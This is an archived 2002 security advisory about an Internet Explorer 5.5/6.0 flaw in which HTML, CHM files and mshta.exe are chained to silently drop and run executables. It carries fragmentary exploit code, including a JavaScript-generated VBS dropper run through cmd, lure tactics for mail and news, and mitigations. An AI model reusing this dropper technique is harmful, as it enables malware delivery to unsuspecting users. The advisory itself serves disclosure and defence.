Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Browsers :: expl5080.htm

Internet Explorer may be fooled by remote site to download and run any file
8th Feb 2002 [SBWID-5080]

	IE may be fooled by remote site to download and run any file


	Internet Explorer 5.5 and 6.0


	http-equiv [] posted :

	Default installation of Internet Explorer 5.5 and 6.0  still  allows  us
	to execute files  on  default  installations  of  the  target  computer,
	technically trivial silent delivery and installation  of  an  executable
	on the target computer.:

	We cobble together new and old Components as follows : -

	1. Courtesy of Georgi Guninski
	   see : []

	2. Courtesy of Georgi Guninski
	   see : []

	3. Mshta.exe
	   see : []


	Either 1 or 2 above canno\'t be exploited alone.

	Nothing can be activated through the  Temporary  Internet  Files  unless
	full path names are known for both showHelp calling and Click()  of  our

	However malware team was able to retrieve from  the  Temporary  Internet
	File a trojanised  html,  determine  the  location  of  it,  write  this
	location out to a showHelp  call  and  thereafter  execute  a  specified
	remote link.

	 Sample Exploit :



	We create a very simple *.html file like so:

	 <bgsound src=\"\">


	this will pull our *.chm into the Temporary Internet File

	when then include the Guninski scripting to determine  the  location  of
	our *.html file like so:





	we then take that location information and write it  to  a  simple  html
	form like so:

	document.write(\'<FORM name=\"malware\"



	document.write(\'<form><input type=\"hidden\"  size=\"40\" maxlength=\"80\"



	technical note: it seems the myriad of patching to date  does  not  make
	it possible to pass the location directly to the showHelp call. It  must
	be written to the form which can then be automatically submitted:



	before we do all that we create our very simple malware.chm and  include
	our link object like so:



	this is particularly interesting as we are able to pass a  link  to  the
	mshta.exe, which in turn will open from the remote site our *.hta  which
	includes our executable. All without warning.

	technical note: the  possibility  is  excellent  to  repeat  the  entire
	process above directly inside the *.chm file  and  drop  an  *.exe  from
	within the *.chm into  the  same  Temporary  Internet  File.  Using  our
	Guninski scripting to determine the location  of  the  *.chm  and  write
	that to the  link  parameter  within  it:  value=\"\'+path+\'\\\\malware
	[1].exe\"> and execute it.

	 So what happens?



	We construct our trojanised *.html file and send it off  to  our  target
	computer. This can be via mail or news. The recipient receives the  mail
	message and attached *.html file.  We  then  convince  our  unsuspecting
	recipient  to  open  our  *.html.  This   should   be   quite   trivial,
	particularly in news as the attached file is in fact nothing  more  than
	a 500 byte html file.

	Consider the following  scenario  in  your  favourite  web  design  news

	Carefully note: there is a hardened security warning when attempting  to
	open attached *.html file. However our combination call  for  assistance
	coupled with nothing more than a legitimate  *.html  file  should  prove
	more than tempting:

	screen shot: 18KB



	Why does it happen? ==================

	Because our simple  *.html  file  is  an  attachment,  security  has  it
	transfer to the Internet Temporary File for opening, under the  security
	browser\'s settings. However, precisely because it is physically  opened
	within the TIF, we can use  our  Guninski  scripting  to  determine  the
	exact location, write that exact location  to  our  form  and  call  our
	*.chm where it too resides.

	Working Example  below,  includes  harmless??  *.exe  --  the  *.chm  is
	hardcoded for win98. Due to pathetic  technical  reasons  our  *.chm  is
	off-site and may delay in transferring to the  TIF  and  could  possibly
	fail, working example must be attached to mail or news.


	begin 644 help!.zip






















	854 bytes



	 Update (11 February 2002)



	dzzie []  posted  another  exploit,  proof  of
	concept on a chm exe dropper :

	This works from Internet Temp files directory as well, all  someone  has
	to do is choose the open option when they click a link to  a  chm  file,
	and they are done.


	flow of events



	1) chm opens 

	     a) determines absolute path current folder

	     b) determines parent chm name (in case cached changes name)

	     c) detects winNT or win98 to work on both


	2) chm name is used to auto generate vbs script data

	   abs path is used to auto generate html object data

	   script writes dynamically generated content to window


	3) first object activated programatically....vbs script is echoed 

	   into existance into same folder as parent chm file


	4) waits 1sec then activates echoed.vbs file...this vbs file

	   reads the parent .chm and extracts a hello world exe that is

	   appended onto the chm file. 


	5) after exe is written to disk vbs script then activates it 



	script below




	msg=\'<center><h1> Holy Mackeral Batman !<br><br> I think he hath done it! <br><br> : )\\\\</h1></center>\'


	function getChmAbsPath(){


	     return t.substring(t.indexOf(\":\",4)+1,t.lastIndexOf(\"\\\\\")+1)



	function getChmName(){





		    t+= \'Chr(\' + chmName.charCodeAt(i) + \')+\'


		return t.substring(0,t.length-1);



	function getInterpreter(){	

	    if(navigator.userAgent.indexOf(\'NT\') > 0){

	       return \'cmd\';


	       return \'command\';







	    \'set i=createobject(fso):\'+

	    \'set o=createobject(fso):\'+

	    \'set w=createobject(wsc):\'+


	    \'infile=pf+\' + getChmName() + \':\'+



	    \'Set ii=i.OpenTextFile(infile):\'+

	    \'Set oo=o.OpenTextFile(outfile,2,True):\'+

	    \'ii.Read OFFSET:\'+

	    \'While Not ii.AtEndOfStream:\'+

	    \'oo.Write Chr(Asc(ii.Read(1))):\'+


	    \'w.Run chr(34)+outfile+chr(34)\'


	hit=\'<OBJECT id=shortcut^ type=\"application/x-oleobject\"  \'+

	    \'classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\" \'+

	    \'codebase=\"hhctrl.ocx\\#Version=4,72,8252,0\" width=100 \'+

	    \'height=100><PARAM name=\"Command\" value=\"ShortCut\">   \'+

	    \'<PARAM name=\"Text\" value=\"Text: \">                   \'+

	    \'<PARAM name=\"Item1\" value=\\\',*\\\'>                    \'+

	    \'<PARAM name=\"Item2\" value=\"273,1,1\"></OBJECT>        \'


	scriptPath = getChmAbsPath() + \'echoed.vbs\'


	cmd=new Array

	cmd[1]= getInterpreter() + \',/c echo \' + vbs + \' > \"\' + scriptPath + \'\"\'

	cmd[2]=\'wscript,\"\' + scriptPath + \'\"\'


	function replace(h,i,c){

		h = h.split(\'^\').join(i).split(\'*\').join(c)

	    return h











	 1. Be aware of \"innocent\" *.html files in mail and news

	 2. Disable Active Scripting and Active X controls

	 3. Disable the HHCtrl ActiveX control,   

	    see: ]

	 4. Disable or Remove Mshta.exe [although if an *.exe 

	    embedded directly into the *.chm then this has no impact]


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH